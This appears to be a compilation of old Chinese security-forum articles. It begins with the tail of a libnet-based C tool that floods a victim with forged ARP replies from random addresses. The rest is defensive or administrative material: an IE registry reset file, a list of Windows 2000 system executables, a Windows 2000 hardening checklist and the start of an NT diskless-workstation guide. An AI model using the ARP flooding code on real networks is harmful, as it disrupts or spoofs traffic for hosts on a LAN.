     for(i=0; i<sizeof(randip); i++)
      randip = rand() % 256;

     libnet_build_ethernet((u_char *)victim_mac,
    randmac, ETHERTYPE_ARP, NULL, 0, buf);
libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN, 4, ARPOP_REPLY,
randmac, randip, victim_mac, victim_ip, NULL, 0, buf+LIBNET_ETH_H);
libnet_write_link_layer(mylink, sniffdevice, buf, LIBNET_ARP_H + LIBNET_ETH_H);
}

    long long mbytes = ((long long)j)*(LIBNET_ARP_H
    + LIBNET_ETH_H);
double mb = mbytes;
mb /= 1024.0;
mb /= 1024.0;

    mbytes = ((long long)j-STARTSEQ)*(LIBNET_ARP_H
    + LIBNET_ETH_H);
double mbr = mbytes;
mbr /= 1024.0;
mbr /= 1024.0;
mbr /= duration;

    printf("\npackets sent\t%d [pkt]\tsustained
    rate: %d [pkt/s]", j, (j-STARTSEQ)/duration);
printf("\nmbytes sent\t%6.2lf [mb]\tsustained rate: %4.2lf [mb/s]",
    mb, mbr);
}
}

  printf("\n\n");

return 0;
}


win98下恢复ie设置的注册表

REGEDIT4

[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel]
"GeneralTab"=dword:0

[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel]
"HomePage"=dword:0

[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel]
"Settings"=dword:0

[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel]
"Cache"=dword:0

[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel]
"History"=dword:0

[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel]
"Colors"=dword:0

[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel]
"Links"=dword:0

[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel]
"Fonts"=dword:0

[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel]
"Languages"=dword:0

[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel]
"Accessibility"=dword:0

[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel]
"SecurityTab"=dword:0

[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel]
"SecChangeSettings"=dword:0

[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel]
"SecAddSites"=dword:0

[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel]
"ContentTab"=dword:0

[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel]
"Ratings"=dword:0

[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel]
"Certificates"=dword:0

[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel]
"CertifPers"=dword:0

[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel]
"CertifSite"=dword:0

[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel]
"CertifPub"=dword:0

[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel]
"FormSuggest"=dword:0

[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel]
"FormSuggest Passwords"=dword:0

[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel]
"Wallet"=dword:0

[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel]
"Profiles"=dword:0

[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel]
"ConnectionsTab"=dword:0

[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel]
"Connection Wizard"=dword:0

[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel]
"Connwiz Admin Lock"=dword:0

[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel]
"Connection Settings"=dword:0

[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel]
"Proxy"=dword:0

[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel]
"AutoConfig"=dword:0

[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel]
"ProgramsTab"=dword:0

[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel]
"Messaging"=dword:0

[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel]
"CalendarContact"=dword:0

[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel]
"ResetWebSettings"=dword:0

[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel]
"Check_If_Default"=dword:0

[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel]
"AdvancedTab"=dword:0

[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel]
"Advanced"=dword:0


Windows 2000 Command Prompt

作者:unkonw(bkbll提交http://bbs.cnhonker.com)

来源http://www.certificationcenter.net

Directory of C:\WINNT\system32

accwiz.exe > Accessibility Wizard for walking you through setting up your machine for your mobility needs.

acsetups.exe > ?

actmovie.exe > Direct Show setup tool

append.exe > Allows programs to open data in specified directories as if they were in the current directory.

arp.exe > NETWORK Display and modify IP - Hardware addresses

at.exe > AT is a scheduling utility also included with UNIX

atmadm.exe > Displays statistics for ATM call manager.

attrib.exe > Display and modify attributes for files and folders

autochk.exe > Used to check and repair Windows File Systems

autoconv.exe > Automates the file system conversion during reboots

autofmt.exe > Automates the file format process during reboots

autolfn.exe > Used for formatting long file names

bootok.exe > Boot acceptance application for registry

bootvrfy.exe > Bootvrfy.exe, a program included in Windows 2000 that notifies the system that startup was successful. Bootvrfy.exe can be run on a local or remote computer.

cacls.exe > Displays or modifies access control lists (ACLs) of files.

calc.exe > Windows Calculators

cdplayer.exe > Windows CD Player

change.exe > Change { User | Port | Logon }

charmap.exe > Character Map

chglogon.exe > Same as using "Change Logon"

chgport.exe > Same as using "Change Port"

chgusr.exe > Same as using "Change User"

chkdsk.exe > Check the hard disk for errors similar to Scandisk 3 Stages must specify a Drive Letter

chkntfs.exe > Same as using chkdsk but for NTFS

cidaemon.exe > Component of Ci Filer Service

cipher.exe > Displays or alters the encryption of directories [files] on NTFS partitions.

cisvc.exe > Content Index -- It's the content indexing service for I

ckcnv.exe > Cookie Convertor

cleanmgr.exe > Disk Cleanup, popular with Windows 98

cleanri.exe > ?

cliconfg.exe > SQL Server Client Network Utility

clipbrd.exe > Clipboard viewer for Local will allow you to connect to other clipboards

clipsrv.exe > Start the clipboard Server

clspack.exe > CLSPACK used to create a file listing of system packages

cluster.exe > Display a cluster in a domain

cmd.exe > Famous command prompt

cmdl32.exe > Connection Manager Auto-Download

cmmgr32.exe > Connection Manager

cmmon32.exe > Connection Manager Monitor

cmstp.exe > Connection Manager Profile Manager

comclust.exe > ?

comp.exe > ComClust Add, Remove, or Join a cluster.

compact.exe > Displays or alters the compression of files on NTFS partitions.

conime.exe > Console IME

control.exe > Starts the control panel

convert.exe > Convert File System to NTFS

convlog.exe > Converts MS IIS log files

cprofile.exe > Copy profiles

cscript.exe > MS Windows Scripts Host Version 5.1

csrss.exe > Client Server Runtime Process

csvde.exe > Comma Separated Variable Import/Export Utility

dbgtrace.exe > -

dcomcnfg.exe > Display the current DCOM configuration.

dcphelp.exe > ?

dcpromo.exe > Promote a domain controller to ADSI

ddeshare.exe > Display DDE shares on local or remote computer

ddmprxy.exe >

debug.exe > Runs Debug, a program testing and editing tool.

dfrgfat.exe > Defrag FAT file system

dfrgntfs.exe > Defrag NTFS file system

dfscmd.exe > configures a Dfs tree

dfsinit.exe > Distributed File System Initialization

dfssvc.exe > Distributed File System Server

diantz.exe > MS Cabinet Maker

diskperf.exe > Starts physical Disk Performance counters

dllhost.exe > dllhost is used on all versions of Windows 2000. dllhost is the host process for all COM+ applications.

dllhst3g.exe >

dmadmin.exe > Disk Manager Service

dmremote.exe > Part of disk management

dns.exe > DNS Applications

doskey.exe > recalls Windows command lines and creates macros

dosx.exe > DOS Extender

dplaysvr.exe > Direct Play Helper

drwatson.exe > Dr Watson for 2000 Fault Detector

drwtsn32.exe > Dr Watson for 2000 viewer and configuration manager

dtcsetup.exe > Installs MDTC

dvdplay.exe > Windows 2000 DVD player

dxdiag.exe > Direct-X Diagnostics

edlin.exe > line-oriented text editor.

esentutl.exe > MS Database Utility

eudcedit.exe > Private character editor

eventvwr.exe > Windows 2000 Event Viewer

evntcmd.exe > Event to trap translator; Configuration tool

evntwin.exe > Event to trap translator setup

exe2bin.exe > Converts EXE to binary format

expand.exe > Expand Files that have been compressed

extrac32.exe > CAB File extraction utility

fastopen.exe > Fastopen tracks the location of files on a hard disk and stores the information in memory for fast access.

faxcover.exe > Fax Cover page editor

faxqueue.exe > Display Fax Queue

faxsend.exe > Fax Wizard for sending faxes

faxsvc.exe > Starts fax server

fc.exe > Compares two files or sets of files and their differences

find.exe > Searches for a text string in file or files

findstr.exe > Searches for strings in files

finger.exe > Fingers a user and displays statistics on that user

fixmapi.exe > Fix mapi files

flattemp.exe > Enable or disable temporally directories

fontview.exe > Display fonts in a font file

forcedos.exe > Forces a file to start in dos mode.

freecell.exe > Popular Windows Game

ftp.exe > File Transfer Protocol used to transfer files over a network connection

gdi.exe > Graphic Device Interface

grovel.exe >

grpconv.exe > Program Manager Group Convertor

help.exe > displays help for Windows 2000 commands

hostname.exe > Display hostname for machine.

ie4uinit.exe > IE5 User Install tool

ieshwiz.exe > Customize folder wizard

iexpress.exe > Create and setup packages for install

iisreset.exe > Restart IIS Admin Service

internat.exe > Keyboard Language Indicator Applet

ipconfig.exe > Windows 2000 IP configuration.

ipsecmon.exe > IP Security Monitor

ipxroute.exe > IPX Routing and Source Routing Control Program

irftp.exe > Setup FTP for wireless communication

ismserv.exe > Intersite messaging Service

jdbgmgr.exe > Microsoft debugger for java 4

jetconv.exe > Convert a Jet Engine Database

jetpack.exe > Compact Jet Database.

jview.exe > Command-line loader for Java

krnl386.exe > Core Component for Windows 2000

label.exe > Change label for drives

lcwiz.exe > License Compliance Wizard for local or remote systems.

ldifde.exe > LDIF cmd line manager

licmgr.exe > Terminal Server License Manager

lights.exe > display connection status lights

llsmgr.exe > Windows 2000 License Manager

llssrv.exe > Start the license Server

lnkstub.exe >

locator.exe > RPC Locator

lodctr.exe > Load perfmon counters

logoff.exe > Log current user off.

lpq.exe > Displays status of a remote LPD queue

lpr.exe > Send a print job to a network printer.

lsass.exe > LSA Executable and Server DLL

lserver.exe > Specifies the new DNS domain for the default server

macfile.exe > Used for managing MACFILES

magnify.exe > Used to magnify the current screen

makecab.exe > MS Cabinet Maker

mdm.exe > Machine Debug Manager

mem.exe > Display current Memory stats

migpwd.exe > Migrate passwords.

mmc.exe > Microsoft Management Console

mnmsrvc.exe > Netmeeting Remote Desktop Sharing

mobsync.exe > Manage Synchronization.

mountvol.exe > Creates, deletes, or lists a volume mount point.

mplay32.exe > MS Media Player

mpnotify.exe > Multiple Provider Notification application

mq1sync.exe >

mqbkup.exe > MS Message Queue Backup and Restore Utility

mqexchng.exe > MSMQ Exchange Connector Setup

mqmig.exe > MSMQ Migration Utility

mqsvc.exe > ?

mrinfo.exe > Multicast routing using SNMP

mscdexnt.exe > Installs MSCD (MS CD Extensions)

msdtc.exe > Dynamic Transaction Controller Console

msg.exe > Send a message to a user local or remote.

mshta.exe > HTML Application HOST

msiexec.exe > Starts Windows Installer Program

mspaint.exe > Microsoft Paint

msswchx.exe >

mstask.exe > Task Schedule Program

mstinit.exe > Task scheduler setup

narrator.exe > Program will allow you to have a narrator for reading.

nbtstat.exe > Displays protocol stats and current TCP/IP connections using NBT

nddeapir.exe > NDDE API Server side

net.exe > Net Utility

net1.exe > Net Utility updated version from MS

netdde.exe > Network DDE will install itself into the background

netsh.exe > Creates a shell for network information

netstat.exe > Displays current connections.

nlsfunc.exe > Loads country-specific information

notepad.exe > Opens Windows 2000 Notepad

nslookup.exe > Displays information for DNS

ntbackup.exe > Opens the NT Backup Utility

ntbooks.exe > Starts Windows Help Utility

ntdsutil.exe > Performs DB maintenance of the ADSI

ntfrs.exe > NT File Replication Service

ntfrsupg.exe >

ntkrnlpa.exe > Kernel patch

ntoskrnl.exe > Core NT Kernel

ntsd.exe >

ntvdm.exe > Simulates a 16-bit Windows environment

nw16.exe > Netware Redirector

nwscript.exe > runs netware scripts

odbcad32.exe > ODBC 32-bit Administrator

odbcconf.exe > Configure ODBC driver's and data source's from command line

os2.exe > An OS/2 Warp Server (os2 /o)

os2srv.exe > An OS/2 Warp Server

os2ss.exe > An OS/2 Warp Server

osk.exe > On Screen Keyboard

packager.exe > Windows 2000 Packager Manager

pathping.exe > Combination of Ping and Tracert

pax.exe > is a POSIX program and path names used as arguments must be specified in POSIX format. Use "//C/Users/Default" instead of "C:\USERS\DEFAULT."

pentnt.exe > Used to check the Pentium for the floating point division error.

perfmon.exe > Starts Windows Performance Monitor

ping.exe > Packet Internet Groper

posix.exe > Used for backward compatibility with Unix

print.exe > Cmd line used to print files

progman.exe > Program manager

proquota.exe > Profile quota program

psxss.exe > POSIX Subsystem Application

qappsrv.exe > Displays the available application terminal servers on the network

qprocess.exe > Display information about processes local or remote

query.exe > Query TERMSERVER user process and sessions

quser.exe > Display information about a user logged on

qwinsta.exe > Display information about Terminal Sessions.

rasadmin.exe > Start the remote access admin service

rasautou.exe > Creates a RAS connection

rasdial.exe > Dial a connection

rasphone.exe > Starts a RAS connection

rcp.exe > Copies a file from and to a RCP service.

rdpclip.exe > RdpClip allows you to copy and paste files between a terminal session and client console session.

recover.exe > Recovers readable information from a bad or defective disk

redir.exe > Starts the redirector service

regedt32.exe > 32-bit register service

regini.exe > modify registry permissions from within a script

register.exe > Register a program so it can have special execution characteristics.

regsvc.exe >

regsvr32.exe > Registers and unregister's dll's. As to how and where it register's them I dont know.

regtrace.exe > Options to tune debug options for applications failing to dump trace statements

regwiz.exe > Registration Wizard

remrras.exe >

replace.exe > Replace files

reset.exe > Reset an active section

rexec.exe > Runs commands on remote hosts running the REXEC service.

risetup.exe > Starts the Remote Installation Service Wizard.

route.exe > display or edit the current routing tables.

routemon.exe > no longer supported

router.exe > Router software that runs either on a dedicated DOS or on an OS/2 system.

rsh.exe > Runs commands on remote hosts running the RSH service

rsm.exe > Mounts and configures remote system media

rsnotify.exe > Remote storage notification recall

rsvp.exe > Resource reservation protocol

runas.exe > RUN a program as another user

rundll32.exe > Launches a 32-bit dll program

runonce.exe > Causes a program to run during startup

rwinsta.exe > Reset the session subsystem hardware and software to known initial values

savedump.exe > Does not write to e:\winnt\user.dmp

scardsvr.exe > Smart Card resource management server

schupgr.exe > It will read the schema update files (.ldf files) and upgrade the schema. (part of ADSI)

secedit.exe > Starts Security Editor help

services.exe > Controls all the services

sethc.exe > Set High Contrast - changes colours and display mode Logoff to set it back to normal

setreg.exe > Shows the Software Publishing State Key Values

setup.exe > GUI box prompts you to goto control panel to configure system components

setver.exe > Set Version for Files

sfc.exe > System File Checker test and check system files for integrity

sfmprint.exe > Print Services for Macintosh

sfmpsexe.exe >

sfmsvc.exe >

shadow.exe > Monitor another Terminal Services session.

share.exe >

shmgrate.exe >

shrpubw.exe > Create and Share folders

sigverif.exe > File Signature Verification

skeys.exe > Serial Keys utility

smlogsvc.exe > Performance Logs and Alerts

smss.exe >

sndrec32.exe > starts the Windows Sound Recorder

sndvol32.exe > Display the current volume information

snmp.exe > Simple Network Management Protocol used for Network Mangement

snmptrap.exe > Utility used with SNMP

sol.exe > Windows Solitaire Game

sort.exe > Compares files and Folders

SPOOLSV.EXE > Part of the spooler service for printing

sprestrt.exe >

srvmgr.exe > Starts the Windows Server Manager

stimon.exe > WDM StillImage- > Monitor

stisvc.exe > WDM StillImage- > Service

subst.exe > Associates a path with a drive letter

svchost.exe > Svchost.exe is a generic host process name for services that are run from dynamic-link libraries (DLLs).

syncapp.exe > Creates Windows Briefcase.

sysedit.exe > Opens Editor for 4 system files

syskey.exe > Encrypt and secure system database

sysocmgr.exe > Windows 2000 Setup

systray.exe > Starts the systray in the lower right corner.

taskman.exe > Task Manager

taskmgr.exe > Starts the Windows 2000 Task Manager

tcmsetup.exe > telephony client wizard

tcpsvcs.exe > TCP Services

telnet.exe > Telnet Utility used to connect to Telnet Server

termsrv.exe > Terminal Server

tftp.exe > Trivial FTP

tftpd.exe > Trivial FTP Daemon

themes.exe > Change Windows Themes

tlntadmn.exe > Telnet Server Administrator

tlntsess.exe > Display the current Telnet Sessions

tlntsvr.exe > Start the Telnet Server

tracert.exe > Trace a route to display paths

tsadmin.exe > Terminal Server Administrator

tscon.exe > Attaches a user session to a terminal session.

tsdiscon.exe > Disconnect a user from a terminal session

tskill.exe > Kill a Terminal server process

tsprof.exe > Used with Terminal Server to query results.

tsshutdn.exe > Shutdown the system

unlodctr.exe > Part of performance monitoring

upg351db.exe > Upgrade a jet database

ups.exe > UPS service

user.exe > Core Windows Service

userinit.exe > Part of the winlogon process

usrmgr.exe > Start the windows user manager for domains

utilman.exe > This tool enables an administrator to designate which computers automatically open accessibility tools when Windows 2000 starts.

verifier.exe > Driver Verifier Manager

vwipxspx.exe > Loads IPX/SPX VDM

w32tm.exe > Windows Time Server

wextract.exe > Used to extract windows files

winchat.exe > Opens Windows Chat

winhlp32.exe > Starts the Windows Help System

winlogon.exe > Used as part of the logon process.

winmine.exe > windows Game

winmsd.exe > Windows Diagnostic utility

wins.exe > Wins Service

winspool.exe > Print Routing

winver.exe > Displays the current version of Windows

wizmgr.exe > Starts Windows Administration Wizards

wjview.exe > Command line loader for Java

wowdeb.exe > . For starters, the 32-bit APIs require that the WOWDEB.EXE task runs in the target debugee's VM

wowexec.exe > For running Windows over Windows Applications

wpnpinst.exe > ?

write.exe > Starts MS Write Program

wscript.exe > Windows Scripting Utility

wupdmgr.exe > Starts the Windows update Wizard (Internet)

xcopy.exe > Used to copy directories


Windows 2000 安全检查清单

    前段时间，中美网络大战，我看了一些被黑的服务器，发现绝大部分被黑的服务器都是Nt/win2000的机器，真是惨不忍睹。Windows2000 真的那么不安全么？其实，Windows2000 含有很多的安全功能和选项，如果你合理的配置它们，那么windows 2000将会是一个很安全的操作系统.我抽空翻了一些网站，翻译加凑数的整理了一篇checklist出来。希望对win2000管理员有些帮助。本文并没有什么高深的东西，所谓的清单，也并不完善，很多东西要等以后慢慢加了，希望能给管理员作一参考。

具体清单如下：
初级安全篇
1.物理安全
服务器应该安放在安装了监视器的隔离房间内，并且监视器要保留15天以上的摄像记录。另外，机箱,键盘，电脑桌抽屉要上锁，以确保旁人即使进入房间也无法使用电脑，钥匙要放在另外的安全的地方。

2.停掉Guest 帐号
在计算机管理的用户里面把guest帐号停用掉，任何时候都不允许guest帐号登陆系统。为了保险起见，最好给guest 加一个复杂的密码，你可以打开记事本，在里面输入一串包含特殊字符,数字，字母的长字符串，然后把它作为guest帐号的密码拷进去。

3．限制不必要的用户数量
去掉所有的duplicate user 帐户, 测试用帐户, 共享帐号，普通部门帐号等等。用户组策略设置相应权限，并且经常检查系统的帐户，删除已经不在使用的帐户。这些帐户很多时候都是黑客们入侵系统的突破口，系统的帐户越多，黑客们得到合法用户的权限可能性一般也就越大。国内的nt/2000主机，如果系统帐户超过10个，一般都能找出一两个弱口令帐户。我曾经发现一台主机197个帐户中竟然有180个帐号都是弱口令帐户。

4．创建2个管理员用帐号
虽然这点看上去和上面这点有些矛盾，但事实上是服从上面的规则的。 创建一个一般权限帐号用来收信以及处理一些日常事物，另一个拥有Administrators 权限的帐户只在需要的时候使用。可以让管理员使用 “ RunAS” 命令来执行一些需要特权才能作的一些工作，以方便管理。

5．把系统administrator帐号改名
大家都知道，windows 2000 的administrator帐号是不能被停用的，这意味着别人可以一遍又一边的尝试这个帐户的密码。把Administrator帐户改名可以有效的防止这一点。当然，请不要使用Admin之类的名字，改了等于没改，尽量把它伪装成普通用户，比如改成：guestone 。

6．创建一个陷阱帐号
什么是陷阱帐号? Look!>创建一个名为” Administrator”的本地帐户，把它的权限设置成最低，什么事也干不了的那种，并且加上一个超过10位的超级复杂密码。这样可以让那些 Scripts s忙上一段时间了，并且可以借此发现它们的入侵企图。或者在它的login scripts上面做点手脚。嘿嘿，够损！

7.把共享文件的权限从”everyone”组改成“授权用户”
“everyone” 在win2000中意味着任何有权进入你的网络的用户都能够获得这些共享资料。任何时候都不要把共享文件的用户设置成”everyone”组。包括打印共享，默认的属性就是”everyone”组的，一定不要忘了改。

8.使用安全密码
一个好的密码对于一个网络是非常重要的，但是它是最容易被忽略的。前面的所说的也许已经可以说明这一点了。一些公司的管理员创建帐号的时候往往用公司名，计算机名，或者一些别的一猜就到的东西做用户名，然后又把这些帐户的密码设置得N简单，比如 “welcome” “iloveyou” “letmein”或者和用户名相同等等。这样的帐户应该要求用户首此登陆的时候更改成复杂的密码，还要注意经常更改密码。前些天在IRC和人讨论这一问题的时候，我们给好密码下了个定义：安全期内无法破解出来的密码就是好密码，也就是说，如果人家得到了你的密码文档，必须花43天或者更长的时间才能破解出来，而你的密码策略是42天必须改密码。

9.设置屏幕保护密码
很简单也很有必要，设置屏幕保护密码也是防止内部人员破坏服务器的一个屏障。注意不要使用OpenGL和一些复杂的屏幕保护程序，浪费系统资源，让他黑屏就可以了。还有一点，所有系统用户所使用的机器也最好加上屏幕保护密码。

10． 使用NTFS格式分区
把服务器的所有分区都改成NTFS格式。NTFS文件系统要比FAT,FAT32的文件系统安全得多。这点不必多说，想必大家得服务器都已经是NTFS的了。

11．运行防毒软件
我见过的Win2000/Nt服务器从来没有见到有安装了防毒软件的，其实这一点非常重要。一些好的杀毒软件不仅能杀掉一些著名的病毒，还能查杀大量木马和后门程序。这样的话，“黑客”们使用的那些有名的木马就毫无用武之地了。不要忘了经常升级病毒库

12．保障备份盘的安全
一旦系统资料被破坏，备份盘将是你恢复资料的唯一途径。备份完资料后，把备份盘防在安全的地方。千万别把资料备份在同一台服务器上，那样的话，还不如不要备份。

中级安全篇：
1．利用win2000的安全配置工具来配置策略
微软提供了一套的基于MMC(管理控制台)安全配置和分析工具，利用他们你可以很方便的配置你的服务器以满足你的要求。具体内容请参考微软主页：
http://www.microsoft.com/windows2000/techinfo/howitworks/security/sctoolset.asp

2．关闭不必要的服务
windows 2000 的 Terminal Services（终端服务），IIS ,和RAS都可能给你的系统带来安全漏洞。为了能够在远程方便的管理服务器，很多机器的终端服务都是开着的，如果你的也开了，要确认你已经正确的配置了终端服务。有些恶意的程序也能以服务方式悄悄的运行。要留意服务器上面开启的所有服务，中期性(每天)的检查他们。下面是C2级别安装的默认服务：
Computer Browser service TCP/IP NetBIOS Helper
Microsoft DNS server Spooler
NTLM SSP Server
RPC Locator WINS
RPC service Workstation
Netlogon Event log

3．关闭不必要的端口
关闭端口意味着减少功能，在安全和功能上面需要你作一点决策。如果服务器安装在防火墙的后面，冒的险就会少些，但是，永远不要认为你可以高枕无忧了。用端口扫描器扫描系统所开放的端口，确定开放了哪些服务是黑客入侵你的系统的第一步。\system32\drivers\etc\services 文件中有知名端口和服务的对照表可供参考。具体方法为：
网上邻居>属性>本地连接>属性>internet 协议(tcp/ip)>属性>高级>选项>tcp/ip筛选>属性 打开tcp/ip筛选，添加需要的tcp,udp,协议即可。

4．打开审核策略
开启安全审核是win2000最基本的入侵检测方法。当有人尝试对你的系统进行某些方式（如尝试用户密码,改变帐户策略，未经许可的文件访问等等）入侵的时候，都会被安全审核记录下来。很多的管理员在系统被入侵了几个月都不知道，直到系统遭到破坏。下面的这些审核是必须开启的，其他的可以根据需要增加：
策略 设置
审核系统登陆事件 成功，失败
审核帐户管理 成功，失败
审核登陆事件 成功，失败
审核对象访问 成功
审核策略更改 成功，失败
审核特权使用 成功，失败
审核系统事件 成功，失败

5.开启密码密码策略
策略 设置
密码复杂性要求 启用
密码长度最小值 6位
强制密码历史 5 次
强制密码历史 42 天

6．开启帐户策略
策略 设置
复位帐户锁定计数器 20分钟
帐户锁定时间 20分钟
帐户锁定阈值 3次

7．设定安全记录的访问权限
安全记录在默认情况下是没有保护的，把他设置成只有Administrator和系统帐户才有权访问。

8．把敏感文件存放在另外的文件服务器中
虽然现在服务器的硬盘容量都很大，但是你还是应该考虑是否有必要把一些重要的用户数据(文件，数据表，项目文件等)存放在另外一个安全的服务器中，并且经常备份它们。

9.不让系统显示上次登陆的用户名
默认情况下，终端服务接入服务器时，登陆对话框中会显示上次登陆的帐户明，本地的登陆对话框也是一样。这使得别人可以很容易的得到系统的一些用户名，进而作密码猜测。修改注册表可以不让对话框里显示上次登陆的用户名，具体是：
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\DontDisplayLastUserName
把 REG_SZ 的键值改成 1 .

10．禁止建立空连接
默认情况下，任何用户通过通过空连接连上服务器，进而枚举出帐号，猜测密码。我们可以通过修改注册表来禁止建立空连接：
Local_Machine\System\CurrentControlSet\Control\LSA-RestrictAnonymous 的值改成”1”即可。

10.到微软网站下载最新的补丁程序
很多网络管理员没有访问安全站点的习惯，以至于一些漏洞都出了很久了，还放着服务器的漏洞不补给人家当靶子用。谁也不敢保证数百万行以上代码的2000不出一点安全漏洞，经常访问微软和一些安全站点，下载最新的service pack和漏洞补丁，是保障服务器长久安全的唯一方法。

高级篇
1. 关闭 DirectDraw
这是C2级安全标准对视频卡和内存的要求。关闭DirectDraw可能对一些需要用到DirectX的程序有影响（比如游戏，在服务器上玩星际争霸？我晕..$%$^%^&??），但是对于绝大多数的商业站点都应该是没有影响的。 修改注册表 HKLM\SYSTEM\CurrentControlSet\Control\GraphicsDrivers\DCI 的Timeout(REG_DWORD)为 0 即可。

2.关闭默认共享
win2000安装好以后，系统会创建一些隐藏的共享，你可以在cmd下打 net share 查看他们。网上有很多关于IPC入侵的文章，相信大家一定对它不陌生。要禁止这些共享 ，打开 管理工具>计算机管理>共享文件夹>共享 在相应的共享文件夹上按右键，点停止共享即可，不过机器重新启动后，这些共享又会重新开启的。
默认共享目录 路径和功能
C$ D$ E$ 每个分区的根目录。Win2000 Pro版中，只有Administrator
和Backup Operators组成员才可连接，Win2000 Server版本
Server Operatros组也可以连接到这些共享目录
ADMIN$ %SYSTEMROOT% 远程管理用的共享目录。它的路径永远都
指向Win2000的安装路径，比如 c:\winnt
FAX$ 在Win2000 Server中，FAX$在fax客户端发传真的时候会到。
IPC$ 空连接。IPC$共享提供了登录到系统的能力。
NetLogon 这个共享在Windows 2000 服务器的Net Login 服务在处
理登陆域请求时用到
PRINT$ %SYSTEMROOT%\SYSTEM32\SPOOL\DRIVERS 用户远程管理打印机

3.禁止dump file的产生
dump文件在系统崩溃和蓝屏的时候是一份很有用的查找问题的资料(不然我就照字面意思翻译成垃圾文件了)。然而，它也能够给黑客提供一些敏感信息比如一些应用程序的密码等。要禁止它，打开 控制面板>系统属性>高级>启动和故障恢复 把 写入调试信息 改成无。要用的时候，可以再重新打开它。

4.使用文件加密系统EFS
Windows2000 强大的加密系统能够给磁盘，文件夹，文件加上一层安全保护。这样可以防止别人把你的硬盘挂到别的机器上以读出里面的数据。记住要给文件夹也使用EFS,而不仅仅是单个的文件。 有关EFS的具体信息可以查看
http://www.microsoft.com/windows2000/techinfo/howitworks/security/encrypt.asp

5.加密temp文件夹
一些应用程序在安装和升级的时候，会把一些东西拷贝到temp文件夹，但是当程序升级完毕或关闭的时候，它们并不会自己清除temp文件夹的内容。所以，给temp文件夹加密可以给你的文件多一层保护。

6.锁住注册表
在windows2000中，只有administrators和Backup Operators才有从网络上访问注册表的权限。如果你觉得还不够的话，可以进一步设定注册表访问权限，详细信息请参考：
http://support.microsoft.com/support/kb/articles/Q153/1/83.asp

7.关机时清除掉页面文件
页面文件也就是调度文件，是win2000用来存储没有装入内存的程序和数据文件部分的隐藏文件。一些第三方的程序可以把一些没有的加密的密码存在内存中，页面文件中也可能含有另外一些敏感的资料。 要在关机的时候清楚页面文件，可以编辑注册表
HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management
把ClearPageFileAtShutdown的值设置成1。

8.禁止从软盘和CD Rom启动系统
一些第三方的工具能通过引导系统来绕过原有的安全机制。如果你的服务器对安全要求非常高，可以考虑使用可移动软盘和光驱。把机箱锁起来扔不失为一个好方法。

9.考虑使用智能卡来代替密码
对于密码，总是使安全管理员进退两难，容易受到 10phtcrack 等工具的攻击，如果密码太复杂，用户把为了记住密码，会把密码到处乱写。如果条件允许，用智能卡来代替复杂的密码是一个很好的解决方法。

10.考虑使用IPSec
正如其名字的含义，IPSec 提供 IP 数据包的安全性。IPSec 提供身份验证、完整性和可选择的机密性。发送方计算机在传输之前加密数据，而接收方计算机在收到数据之后解密数据。利用IPSec可以使得系统的安全性能大大增强。有关IPSes的详细信息可以参考： http://www.microsoft.com/china/technet/security/ipsecloc.asp


Windows NT Server 无盘站技术配置详解

无盘工作站是即不使用本地磁盘进行启动及其它操作的计算机工作站。

Windows NT Server服务器的安装
安装Windows NT Server 4.0中文版
    推荐使用NTFS文件系统。本文假定Windows NT Server 4.0装于C∶\WINNT目录下，服务器名为NTServer， 域名为DOMAIN。
安装NETBEUI协议和DLC协议
    在NT服务器“我的电脑/控制面板/网络/协议”选项中添加NETBEUI协议和DLC协议。
安装远程启动服务（RPL服务）
    在NT服务器“我的电脑/控制面板/网络/网络服务”列表中选择“远程启动服务”，单击“确定”进行安装。
启动远程启动服务
